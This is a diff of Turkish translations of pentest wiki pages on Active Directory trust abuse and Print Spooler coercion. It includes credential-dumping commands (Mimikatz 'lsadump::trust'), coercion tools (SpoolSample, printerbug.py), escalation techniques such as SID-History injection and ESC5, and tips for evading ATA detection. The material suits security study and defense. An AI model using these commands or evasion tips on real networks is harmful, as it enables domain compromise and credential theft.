bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar. -Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir. +Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarıyla doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir. **Adımlar**: 1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır. 2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir. -3. İstemci, **Domain 2**'deki kaynaklara erişmek için gerekli olan **inter-realm TGT**'yi DC1'den talep eder. -4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir. +3. İstemci daha sonra **Domain 2**'deki kaynaklara erişmek için gereken **inter-realm TGT**'yi DC1'den talep eder. +4. Inter-realm TGT, iki yönlü alan güveninin bir parçası olarak DC1 ve DC2 arasında paylaşılan bir **güven anahtarı** ile şifrelenmiştir. 5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür. 6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir. 7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar. ### Farklı Güvenler -**Bir güvenin 1 yönlü veya 2 yönlü** olabileceğini belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz. +**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz. -Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır. +Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır. **Farklı güvenen ilişkileri** -- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir. +- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir. - **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır. -- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine]() göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır. -- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda]() bulunabilir. +- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine]() göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle birlikte SID filtrelemesi ile artırılır. +- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına olanak tanır ve iki yönlü geçişliliği sağlar. Daha fazla bilgi [Microsoft'un kılavuzunda]() bulunabilir. - **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular. - **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır. #### **Güvenen ilişkilerdeki diğer farklılıklar** -- Bir güven ilişkisi **geçişli** (A güveniyor B'ye, B güveniyor C'ye, o zaman A güveniyor C'ye) veya **geçişli olmayan** olabilir. +- Bir güven ilişkisi **geçişli** (A güveniyor B, B güveniyor C, o zaman A güveniyor C) veya **geçişli olmayan** olabilir. - Bir güven ilişkisi **iki yönlü güven** (her ikisi de birbirine güvenir) veya **bir yönlü güven** (sadece biri diğerine güvenir) olarak kurulabilir. ### Saldırı Yolu @@ -547,9 +547,9 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir: -- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yönetici" grubu, onlara o makine üzerinde önemli kontrol sağlar. +- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yönetici" grubu, o makine üzerinde önemli kontrol sağlar. - **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların üyeleri de olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır. -- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir; özellikle **DACL** içindeki **ACE'ler** olarak. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. +- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. ### Çocuktan Ana Orman Yetki Yükseltmesi ``` @@ -564,8 +564,8 @@ WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` > [!WARNING] -> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ ve diğeri _Parent_ --> _Child_ için.\ -> Mevcut alan tarafından kullanılanı şu şekilde alabilirsiniz: +> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ diğeri ise _Parent_ --> _Child_ için.\ +> Mevcut alan tarafından kullanılanı şu şekilde bulabilirsiniz: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local @@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM #### SID-History Injection -SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükseltin: +SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme: {{#ref}} sid-history-injection.md @@ -582,31 +582,31 @@ sid-history-injection.md #### Yazılabilir Configuration NC'yi istismar etme -Configuration Naming Context (NC) nasıl istismar edileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. +Configuration Naming Context (NC)'nin nasıl istismar edilebileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. -**GPO'yu kök DC alanına bağlayın** +**GPO'yu kök DC alanına bağlama** Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir. -Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atabilirsiniz. +Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir. **Ormandaki herhangi bir gMSA'yı tehlikeye atma** -Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür. +Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almaktır. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA'nın şifresini hesaplamak mümkündür. Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir. **Şema değişikliği saldırısı** -Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir. +Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yeni oluşturulan AD nesnelerine yetkisiz erişim ve kontrol sağlayabilir. -Daha fazla okuma için [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine göz atabilirsiniz. +Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir. **DA'dan EA'ya ADCS ESC5 ile** -ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar. +ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'nin tehlikeye atılması ESC5 saldırılarının gerçekleştirilmesini sağlar. -Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) üzerine tartışıldığı gibi. +Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu konu [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) makalesinde tartışılmıştır. ### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü ```powershell @@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -Bu senaryoda **alanınız dış bir alan tarafından güvenilir** kılınmıştır ve size **belirsiz izinler** vermektedir. **Alanınızdaki hangi ilkelerin dış alanda hangi erişimlere sahip olduğunu** bulmanız ve ardından bunu istismar etmeye çalışmanız gerekecek: +Bu senaryoda **alanınız dış bir alan tarafından güvenilir** kılınmıştır ve size **belirsiz izinler** vermektedir. **Alanınızdaki hangi ilkelerin dış alana hangi erişime sahip olduğunu** bulmanız ve ardından bunu istismar etmeye çalışmanız gerekecek: {{#ref}} external-forest-domain-oneway-inbound.md @@ -637,18 +637,18 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **ayrımcı haklar** vermektedir. +Bu senaryoda **domaininiz**, **farklı domainlerden** bir prensibe bazı **yetkiler** **güveniyor**. -Ancak, bir **domain güvenilir** olduğunda, güvenilir domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilir şifreyi** **şifre** olarak kullanır. Bu, **güvenilir domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir: +Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenen domainin bir kullanıcısının erişim sağlamasının mümkün olduğu** anlamına gelir ve bu kullanıcıyı listeleyip daha fazla yetki artırmaya çalışabilir: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Güvenilir domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir). +Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir). -Güvenilir domaini tehlikeye atmanın bir başka yolu, **güvenilir domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\ -Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır. +Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve buradan **kurbanın orijinal domainine erişebilir**.\ +Ayrıca, eğer **kurban sabit diskini bağladıysa**, **RDP oturumu** sürecinden saldırgan **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır. {{#ref}} rdp-sessions-abuse.md @@ -676,31 +676,31 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement ## Bazı Genel Savunmalar -[**Kimlik bilgilerini koruma hakkında daha fazla bilgi edinin.**](../stealing-credentials/credentials-protections.md)\\ +[**Kimlik bilgilerini koruma hakkında daha fazla bilgi edinin.**](../stealing-credentials/credentials-protections.md) ### **Kimlik Bilgisi Koruma için Savunma Önlemleri** -- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır. -- **Hizmet Hesabı Ayrıcalıkları**: Hizmetler, güvenliği korumak için Domain Yöneticisi (DA) ayrıcalıkları ile çalıştırılmamalıdır. -- **Geçici Ayrıcalık Sınırlaması**: DA ayrıcalıkları gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. +- **Domain Admins Kısıtlamaları**: Domain Admins'in yalnızca Domain Controller'lara giriş yapmasına izin verilmesi önerilir, diğer hostlarda kullanılmamalıdır. +- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Admin (DA) yetkileri ile çalıştırılmamalıdır. +- **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. ### **Aldatma Tekniklerini Uygulama** -- Aldatma uygulamak, süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş şifreler gibi özelliklere sahip tuzaklar, sahte kullanıcılar veya bilgisayarlar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek ayrıcalıklı gruplara eklemeyi içerir. +- Aldatma uygulamak, şifrelerin süresiz olduğu veya Delegasyon için Güvenilir olarak işaretlendiği sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir. - Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır. - Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir. ### **Aldatmayı Tanımlama** -- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük kötü şifre sayıları yer alır. -- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir. +- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturulma tarihleri ve düşük kötü şifre sayıları bulunur. +- **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir. ### **Algılama Sistemlerini Aşma** - **Microsoft ATA Algılama Aşma**: -- **Kullanıcı Sayımı**: Domain Denetleyicilerinde oturum sayımını önleyerek ATA algılamasını engellemek. +- **Kullanıcı Sayımı**: ATA algılamasını önlemek için Domain Controller'larda oturum sayımından kaçınmak. - **Bilet Taklidi**: Bilet oluşturmak için **aes** anahtarlarını kullanmak, NTLM'ye düşmeden algılamadan kaçınmaya yardımcı olur. -- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Denetleyicisinden değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Denetleyicisinden yürütme, uyarıları tetikler. +- **DCSync Saldırıları**: ATA algılamasından kaçınmak için bir Domain Controller'dan değil, başka bir yerden yürütülmesi önerilir; çünkü doğrudan bir Domain Controller'dan yürütme, uyarıları tetikler. ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 065bce286..de42699ca 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -4,12 +4,12 @@ ## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) , 3. parti bağımlılıkları önlemek için MIDL derleyicisi kullanılarak C# ile kodlanmış **uzaktan kimlik doğrulama tetikleyicileri** **koleksiyonu**dur. +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) **uzaktan kimlik doğrulama tetikleyicileri** içeren bir **koleksiyondur** ve 3. parti bağımlılıkları önlemek için MIDL derleyicisi kullanılarak C# ile kodlanmıştır. ## Spooler Servisi İstismarı -Eğer _**Print Spooler**_ servisi **etkinse**, bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi’nin yazıcı sunucusuna yeni yazdırma işleri hakkında bir **güncelleme** **talep** edebilir ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\ -Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve servis bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**. +Eğer _**Print Spooler**_ servisi **etkinse,** bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi’nin yazıcı sunucusuna yeni yazdırma işleri hakkında bir **güncelleme** **talep** edebilirsiniz ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\ +Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** kullanacaktır. ### Alan üzerindeki Windows Sunucularını Bulma @@ -17,7 +17,7 @@ PowerShell kullanarak, Windows kutularının bir listesini alın. Sunucular gene ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` -### Spooler hizmetlerini dinleme bulma +### Spooler hizmetlerini dinleyenleri bulma Biraz değiştirilmiş @mysmartlogin'in (Vincent Le Toux'un) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) aracını kullanarak, Spooler Hizmetinin dinleyip dinlemediğini kontrol edin: ```bash @@ -34,14 +34,14 @@ Buradan **SpoolSample'ı derleyebilirsiniz**. ```bash SpoolSample.exe ``` -ve [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) veya [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) kullanın eğer Linux'taysanız +ve Linux'taysanız [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) veya [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) kullanın ```bash python dementor.py -d domain -u username -p password printerbug.py 'domain/username:password'@ ``` ### Unconstrained Delegation ile Birleştirme -Eğer bir saldırgan [Unconstrained Delegation](unconstrained-delegation.md) ile bir bilgisayarı ele geçirmişse, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Sınırsız delegasyon nedeniyle, **yazıcının bilgisayar hesabının TGT'si** sınırsız delegasyona sahip bilgisayarın **belleğinde** **saklanacaktır**. Saldırgan bu ana bilgisayarı zaten ele geçirdiği için, **bu bileti alabilir** ve kötüye kullanabilir ([Pass the Ticket](pass-the-ticket.md)). +Eğer bir saldırgan [Unconstrained Delegation](unconstrained-delegation.md) ile bir bilgisayarı ele geçirmişse, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Sınırsız delegasyon nedeniyle, **yazıcının bilgisayar hesabının TGT'si** sınırsız delegasyona sahip bilgisayarın **belleğinde** **saklanacaktır**. Saldırgan bu hostu zaten ele geçirdiği için, **bu bileti alabilir** ve kötüye kullanabilir ([Pass the Ticket](pass-the-ticket.md)). ## RCP Zorla Kimlik Doğrulama @@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer ## PrivExchange -`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, Exchange sunucusunun, bir posta kutusuna sahip herhangi bir alan kullanıcısı tarafından HTTP üzerinden herhangi bir istemci sağlanan ana bilgisayara kimlik doğrulaması yapmasını zorlar. +`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, Exchange sunucusunun, bir posta kutusuna sahip herhangi bir alan kullanıcısı tarafından HTTP üzerinden herhangi bir istemci sağlanan hosta kimlik doğrulaması yapmaya zorlanmasını sağlar. -Varsayılan olarak, **Exchange hizmeti SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019 Öncesi Kümülatif Güncelleme'de alan üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ye bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için kullanılabilir. LDAP'ye iletim mümkün olmadığında bile, bu hata alan içindeki diğer ana bilgisayarlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde istismar edilmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar. +Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019'dan önceki Kümülatif Güncelleme üzerinde WriteDacl ayrıcalıkları vardır**). Bu hata, **LDAP'ya bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ya iletim mümkün olmadığında bile, bu hata alan içindeki diğer hostlara 